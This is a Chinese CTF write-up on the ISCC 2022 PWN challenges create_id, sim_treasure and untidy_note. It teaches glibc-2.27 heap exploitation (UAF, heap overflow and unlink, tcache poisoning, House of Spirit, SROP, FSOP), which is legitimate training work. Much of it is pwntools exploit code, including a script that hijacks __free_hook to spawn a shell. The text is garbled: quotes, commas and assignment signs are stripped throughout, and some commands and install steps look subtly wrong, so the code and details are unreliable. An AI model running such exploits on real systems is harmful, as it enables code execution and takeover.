与 Libc-2.27 利用详解)
ISCC 2022 PWN 实战从堆漏洞到 Libc-2.27 的完整攻防艺术1. 堆漏洞利用的三重奏在二进制安全领域堆漏洞利用始终是攻防对抗的核心战场。2022年ISCC竞赛中的三道PWN题目create_id、sim_treasure和untidy_note完美展示了堆漏洞利用的三种典型技术路径1.1 UAFUse-After-Free漏洞精要UAF漏洞的本质是释放后重用当程序错误地访问已被释放的内存时攻击者可以通过精心构造的数据控制程序执行流。在create_id题目中我们观察到struct user { char name[32]; int is_admin; }; void delete_user() { free(current_user); // 释放内存 // 缺少 current_user NULL 的置空操作 } void edit_profile() { printf(Enter new name: ); gets(current_user-name); // UAF发生点 }利用步骤分配用户对象后立即释放通过堆风水控制释放的内存块覆写函数指针或关键数据触发重用的代码路径提示在glibc-2.27中tcache机制会使UAF利用更为简单因为释放的chunk不会立即合并且重用优先级最高。1.2 堆溢出实战技巧sim_treasure题目展示了经典的堆溢出场景from pwn import * def exploit_heap_overflow(): p process(./sim_treasure) # 1. 填充tcache for i in range(7): alloc(0x80) # 2. 触发溢出 alloc(0x28) # 小尺寸分配 payload bA*0x28 p64(0x91) # 修改下一个chunk的size edit(0, payload) # 3. 触发unlink free(1) # 现在会错误地合并伪造的0x90大小chunk关键突破点通过溢出修改相邻chunk的size字段构造伪造的chunk头绕过安全检查利用unlink操作实现任意地址写1.3 格式化字符串与堆布局untidy_note题目结合了格式化字符串漏洞和堆漏洞# 格式化字符串泄露关键地址 echo %6$p /proc/self/mem # 堆布局技巧 for i in {1..7}; do alloc $i done free 4 free 5 # 制造tcache链组合利用策略通过格式化字符串泄露canary和libc地址使用堆操作布置特定内存布局结合栈迁移技术绕过保护机制2. Glibc-2.27 利用宝典2.1 tcache 机制解析glibc-2.27的tcache线程本地缓存引入了新的利用范式特性利用价值缓解措施LIFO结构容易预测内存分配增加随机化单链表简单伪造增加完整性检查64个bins多尺寸选择限制缓存数量典型利用代码# 填满tcache bin for i in range(7): malloc(0x80) # 触发unsorted bin malloc(0x500) # 大块将进入unsorted bin free(0) # 不会进入tcache已满 # 泄露main_arena地址 show(0)2.2 高级利用技术2.2.1 House of Spirit// 伪代码示例 char fake_chunk[0x80]; *(size_t*)fake_chunk[0x78] 0x81; // 伪造size free(fake_chunk 0x10); // 释放伪造的chunk2.2.2 Tcache Poisoning# 修改tcache链指针 alloc(0x50) free(0) edit(0, p64(target_address)) alloc(0x50) # 第一次分配 alloc(0x50) # 获得目标地址控制权2.2.3 Fastbin Reverse into Tcache# 操作序列 for i in {1..9}; do malloc 0x70; done for i in {1..7}; do free $i; done # 填满tcache free 8 # 进入fastbin free 9 # 也进入fastbin malloc 0x500 # 清空tcache3. 漏洞利用实战演示3.1 create_id 完整利用#!/usr/bin/env python3 from pwn import * context.update(archamd64, oslinux) elf ELF(./create_id) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def create(size, data): p.sendlineafter( , 1) p.sendlineafter(Size: , str(size)) p.sendafter(Data: , data) def delete(): p.sendlineafter( , 2) def edit(data): p.sendlineafter( , 3) p.sendafter(Data: , data) # 1. 泄露libc地址 create(0x500, A*8) delete() create(0x500, \x78) p.recvuntil(A*8) libc.address u64(p.recv(6).ljust(8, b\x00)) - 0x3eb780 success(flibc {hex(libc.address)}) # 2. tcache poisoning create(0x60, B*8) delete() edit(p64(libc.sym[__free_hook])) create(0x60, /bin/sh\x00) create(0x60, p64(libc.sym[system])) # 3. 触发shell delete() p.interactive()3.2 sim_treasure 堆溢出利用# 省略部分初始化代码... # 布置堆布局 for i in range(7): add_note(0x80, bPAD) add_note(0x20, bVICTIM) # 将被溢出的chunk # 制造堆溢出 payload bA*0x28 payload p64(0x91) # 修改size字段 payload p64(0xdeadbeef) # 伪造fd指针 edit_note(0, payload) # 触发unlink delete_note(1) # 后续利用...4. 防御与绕过艺术4.1 现代防护机制防护技术绕过方法检测特征ASLR信息泄露/proc/sys/kernel/randomize_va_spaceNXROP链ELF头中的GNU_STACK标记RELRO延迟绑定checksec输出的Relro状态Stack Canary信息泄露函数序言中的__stack_chk_fail4.2 高级绕过技巧SROPSigreturn Oriented Programming示例frame SigreturnFrame() frame.rax constants.SYS_execve frame.rdi binsh_addr frame.rsi 0 frame.rdx 0 frame.rip syscall_addr payload p64(syscall_addr) bytes(frame)FSOPFile Stream Oriented Programming关键步骤泄露_IO_list_all地址伪造_IO_FILE结构体触发abort()或exit()流程5. 工具链与调试技巧5.1 必备工具集# 基础工具 sudo apt install gdb peda pwntools radare2 # 增强插件 git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh # 堆可视化 pip install heap-viewer5.2 GDB 调试命令备忘# 堆相关 heap chunks # 查看所有chunk heap bins # 查看各bins状态 vis_heap_chunks # 图形化显示堆 # 内存操作 x/20gx $rsp # 查看栈内存 search -s /bin/sh # 搜索内存 # 漏洞利用 watch *0xdeadbeef # 内存写入断点 catch syscall execve # 捕获execve调用在真实漏洞利用过程中我发现最有效的调试方法是结合静态分析与动态跟踪。例如在解决untidy_note题目时通过以下步骤定位关键点使用IDA Pro识别所有堆操作函数在malloc/free调用处设置断点记录每个操作后的堆状态变化对比正常执行与攻击路径的内存差异这种系统化的分析方法往往能发现容易被忽视的漏洞触发条件。